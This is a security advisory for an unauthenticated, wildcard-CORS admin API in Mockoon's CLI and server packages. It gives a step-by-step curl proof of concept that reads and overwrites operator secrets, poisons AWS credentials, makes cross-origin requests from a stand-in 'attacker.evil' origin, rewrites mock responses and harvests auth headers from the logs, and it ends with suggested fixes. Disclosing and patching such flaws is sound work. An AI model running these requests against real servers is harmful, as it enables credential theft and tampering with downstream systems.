GHSA-rqx4-3f6q-3x2v: CSRF

Published Sep 11, 2026
·
Updated

Summary

Mockoon's admin API (commons-server/src/libs/server/admin-api.ts) is mounted on the same Express listener as the user-defined mock routes, enabled by default in every shipped runtime (commons-server, CLI, serverless), serves Access-Control-Allow-Origin: on every endpoint with all HTTP methods allowed including PUT/POST/PATCH/DELETE/PURGE and Content-Type in Access-Control-Allow-Headers, and has zero authentication of any kind (no token, no shared secret, no MOCKOONADMINTOKEN env var — searched the repo, returns zero hits).

Any unauthenticated caller who can reach the mock server's port (default 0.0.0.0:3000) can:

- Read every MOCKOON env var used by the operator as secret material in templates (getEnvVar helper). - Write arbitrary process env vars (no prefix check on the WRITE path) — poison operator's MOCKOONAPIKEY, MOCKOONJWTSECRET, …, or write process-level vars like AWSSECRETACCESSKEY that the surrounding runtime consumes. - Rewrite every mock route's body / status / headers in-runtime via PUT /mockoon-admin/environment — downstream consumers (frontend dev-server, CI test suite, integration partner) receive attacker-controlled responses and headers including Set-Cookie, Location, Content-Security-Policy, etc. - Read transaction logs / SSE stream (consumer's request bodies + auth headers in clear). - Read/write global template vars; purge state / data buckets / logs.

Because of the wildcard CORS reply, the attack also lands cross-origin from a browser: a developer who runs mockoon-cli start ... locally and visits a malicious website gets their mock state hijacked.

---

Details

Root cause

packages/commons-server/src/libs/server/server.ts:127:

ts private options: ServerOptions = { ..., enableAdminApi: true, // ← default on };

packages/cli/src/commands/start.ts:200:

ts enableAdminApi: !userFlags['disable-admin-api'], // default true unless --disable-admin-api passed

packages/serverless/src/libs/serverless.ts:21:

ts enableAdminApi: true, // ← default on, no flag to disable in the constructor

packages/commons-server/src/libs/server/admin-api.ts:63-74 (permissive CORS on every admin endpoint):

ts app.use(${adminApiPrefix}, (req, res, next) => { res.setHeaders( new Headers({ 'Access-Control-Allow-Origin': '', 'Access-Control-Allow-Methods': 'GET,POST,PUT,PATCH,DELETE,HEAD,OPTIONS', 'Access-Control-Allow-Headers': 'Content-Type, Origin, Accept, Authorization, Content-Length, X-Requested-With' }) ); next(); });

packages/commons-server/src/libs/server/admin-api.ts:151-166 (no auth, no prefix check on WRITE):

ts const setEnvVarHandler = (req, res) => { try { const { key, value } = req.body; if (key !== undefined && value !== undefined) { process.env[key] = value; // ← any process env, any value res.send({ message: Environment variable '${key}' has been set to '${value}' }); } else { throw new Error('Key or value missing from request'); } } catch (error) { res.status(400).send({ message: 'Invalid request' }); } };

packages/commons-server/src/libs/server/admin-api.ts:373-393 (the most impactful — runtime mock rewrite):

ts app.put(${adminApiPrefix}/environment, (req, res) => { try { const environment: Environment = EnvironmentSchema.validate(req.body).value; if (!environment) { res.status(400).send({ message: 'Invalid environment format' }); return; } updateEnvironment(environment); // ← runtime mutation of every route response res.send({ message: 'Environment updated' }); } catch (error) { res.status(400).send({ message: 'Invalid environment format' }); } });

Default hostname: '' (packages/commons/src/constants/environment-schema.constants.ts:33) → Node binds 0.0.0.0/:: (confirmed via lsof). Migration #16 (packages/commons/src/libs/migrations.ts:343) also forces missing hostnames to '0.0.0.0'.

---

PoC

Live reproduction (2026-05-11, @mockoon/cli@9.6.1)

npm install @mockoon/cli@9.6.1. Minimal env.json with one route GET /users/:id whose response templates {{getEnvVar 'MOCKOONAPIKEY'}}. Start with:

MOCKOONAPIKEY="sk-operator-real-secret-DONOTLEAKxyz789" \ mockoon-cli start --data env.json --port 3100 --repair --disable-log-to-file

Bind confirmed via lsof:

COMMAND PID USER FD TYPE ... NAME node 39906 ... 14u IPv6 ... TCP :3100 (LISTEN) <-- all interfaces

Baseline mock response:

$ curl -s http://127.0.0.1:3100/users/42 {"id":"42","name":"BENIGNALICE","role":"user","apiKey":"sk-operator-real-secret-DONOTLEAKxyz789"}

1) Read operator secret unauth

$ curl -s -i http://127.0.0.1:3100/mockoon-admin/env-vars/APIKEY HTTP/1.1 200 OK access-control-allow-origin: {"key":"MOCKOONAPIKEY","value":"sk-operator-real-secret-DONOTLEAKxyz789"}

2) Poison operator secret unauth → downstream consumer ingests attacker value

$ curl -s -X POST http://127.0.0.1:3100/mockoon-admin/env-vars \ -H "Content-Type: application/json" \ -d '{"key":"MOCKOONAPIKEY","value":"sk-POISONED-BY-ATTACKER"}' {"message":"Environment variable 'MOCKOONAPIKEY' has been set to 'sk-POISONED-BY-ATTACKER'"}

$ curl -s http://127.0.0.1:3100/users/42 {"id":"42","name":"BENIGNALICE","role":"user","apiKey":"sk-POISONED-BY-ATTACKER"}

3) Write arbitrary non-MOCKOON env var (no prefix gate)

$ curl -s -X POST http://127.0.0.1:3100/mockoon-admin/env-vars \ -H "Content-Type: application/json" \ -d '{"key":"AWSSECRETACCESSKEY","value":"overwritten-by-attacker"}' {"message":"Environment variable 'AWSSECRETACCESSKEY' has been set to 'overwritten-by-attacker'"}

4) Cross-origin CSRF from https://attacker.evil

$ curl -s -i -X OPTIONS http://127.0.0.1:3100/mockoon-admin/env-vars \ -H "Origin: https://attacker.evil" \ -H "Access-Control-Request-Method: POST" \ -H "Access-Control-Request-Headers: Content-Type" HTTP/1.1 200 OK Access-Control-Allow-Origin: Access-Control-Allow-Methods: GET,POST,PUT,PATCH,DELETE,HEAD,OPTIONS Access-Control-Allow-Headers: Content-Type, Origin, Accept, Authorization, Content-Length, X-Requested-With

$ curl -s -X POST http://127.0.0.1:3100/mockoon-admin/env-vars \ -H "Origin: https://attacker.evil" \ -H "Content-Type: application/json" \ -d '{"key":"MOCKOONAPIKEY","value":"sk-EXFIL-FROM-attacker.evil"}' {"message":"Environment variable 'MOCKOONAPIKEY' has been set to 'sk-EXFIL-FROM-attacker.evil'"}

Wildcard Access-Control-Allow-Origin: + Access-Control-Allow-Methods covering PUT/POST/PATCH + Content-Type in Access-Control-Allow-Headers mean the browser preflight passes for non-simple JSON POSTs. A developer who visits a malicious site while their Mockoon CLI is running is fully exploitable from JavaScript.

5) Rewrite every mock route via unauth PUT /environment

$ curl -s -X PUT http://127.0.0.1:3100/mockoon-admin/environment \ -H "Origin: https://attacker.evil" \ -H "Content-Type: application/json" \ -d '{ ...full env JSON with route response rewritten to body "ATTACKERPWNED", statusCode 418, header X-Pwned: by-attacker.evil... }' {"message":"Environment updated"}

$ curl -s -i http://127.0.0.1:3100/users/99 HTTP/1.1 418 I'm a Teapot X-Pwned: by-attacker.evil Content-Type: application/json {"id":"99","name":"ATTACKERPWNED","role":"admin","backdoor":true}

6) Read transaction logs / SSE stream → harvest consumer's auth headers

$ curl -s http://127.0.0.1:3100/mockoon-admin/logs?limit=2

Each log entry includes consumer's request.headers (Authorization / Cookie / X-API-Key), request.body, request.urlPath, and the response served back — continuous info-disclosure of every API call the legitimate consumer makes against the mock. GET /mockoon-admin/events streams the same data live via SSE.

7) Purge state (DoS)

$ curl -s -X POST http://127.0.0.1:3100/mockoon-admin/state/purge {"response":"Server has been reset to its initial state"}

---

Impact

In typical local-dev mode (CVSS 8.8 High):

- Secret read of every MOCKOON env var (API keys, JWT signing keys, OAuth client secrets). - Secret write to any process.env key — poison operator's secrets, swap AWS/SDK creds. - Runtime rewrite of every mock route's body / status / headers → downstream consumer ingests attacker-controlled data + headers (Set-Cookie, Location, CSP). - Auth-token harvesting via transaction logs / SSE stream. - State purge / DoS.

In network-exposed deployment (CVSS 9.4 Critical):

- All of the above without user interaction. The serverless wrapper hardcodes enableAdminApi: true; mockoon/cli Docker image inherits the same default and is commonly deployed in shared CI / staging environments.

---

Suggested fix

1. Require explicit authentication on the admin API by default. Print an auto-generated bearer token on CLI startup (Jupyter-style), keyed off MOCKOONADMINTOKEN env var, compared with crypto.timingSafeEqual. 2. Stop sending Access-Control-Allow-Origin: on admin endpoints. Default: no CORS at all (browser will block cross-origin reads). Operators who run a separate admin UI on another origin can opt-in with --admin-api-origin. 3. Bind the admin API to loopback by default, on a separate port or behind a remote-address check. 4. Add a prefix check on the setEnvVarHandler matching the prepend behavior on the GET handler — reject any key that doesn't start with envVarsPrefix. 5. Add SECURITY.md with disclosure instructions. 6. Ship @mockoon/serverless and mockoon/cli Docker image with enableAdminApi: false by default; opt-in via flag.

Affected Software

2 affected componentsFixes available
npm/@mockoon/cli<9.7.0
9.7.0
npm/@mockoon/commons-server<9.7.0
9.7.0

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade npm/@mockoon/cli to a version that resolves this vulnerability.

    Fixed in 9.7.0
  2. Upgrade

    Upgrade npm/@mockoon/commons-server to a version that resolves this vulnerability.

    Fixed in 9.7.0
  3. Configuration

    Stop sending `Access-Control-Allow-Origin: *` on admin endpoints; configure the admin API to not allow wildcard CORS responses.

    Mockoon admin API (commons-server) CORS Access-Control-Allow-Origin = (stop wildcard)
  4. Configuration

    Require explicit authentication on the admin API by default (admin endpoints currently have zero authentication).

    Mockoon admin API (commons-server) Admin API authentication = required
  5. Configuration

    Ship `@mockoon/serverless` and `mockoon/cli` Docker image with `enableAdminApi: false` by default; opt-in to enabling admin API via flag.

    Mockoon serverless / mockoon/cli Docker image enableAdminApi = false
  6. Configuration

    Bind the admin API to loopback by default (bind confirmed via `lsof` that `hostname: ''` leads Node to bind `0.0.0.0/::`); use a separate port or a remote-address check so the admin API is not reachable on all interfaces (e.g., `:3100` only on `127.0.0.1`).

    Mockoon admin API binding listen address = loopback
  7. Configuration

    Add a prefix check on the WRITE path (`setEnvVarHandler`) so that any `key` rejected unless it starts with the same `envVarsPrefix` used by the GET handler (`getEnvVar` / env var template access). Reject any `key` that doesn't start with `envVarsPrefix`.

    Mockoon admin API setEnvVarHandler setEnvVarHandler key prefix validation = enforce envVarsPrefix

Event History

Sep 11, 2026
Advisory Published
via GitHub·10:04 PM
Data Sourced
via GitHub·10:04 PM
DescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

Are deployments affected without enabling an optional administration feature?

Yes. The admin API is enabled by default in the commons-server, CLI, and serverless runtimes, and it shares the same Express listener as mock routes. The stated default listener is 0.0.0.0:3000.

2

What access does an attacker need?

An attacker only needs network reachability to the mock server port; the admin API has no authentication, token, or shared secret. Its permissive CORS policy also allows any origin and permits methods including PUT, POST, PATCH, DELETE, and PURGE.

3

Are environment variables limited to Mockoon-specific names?

Reads expose MOCKOON_* variables used as template secret material. However, the write path has no prefix check, so an attacker can set arbitrary process environment variables, including MOCKOON_API_KEY, MOCKOON_JWT_SECRET, or AWS_SECRET_ACCESS_KEY.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203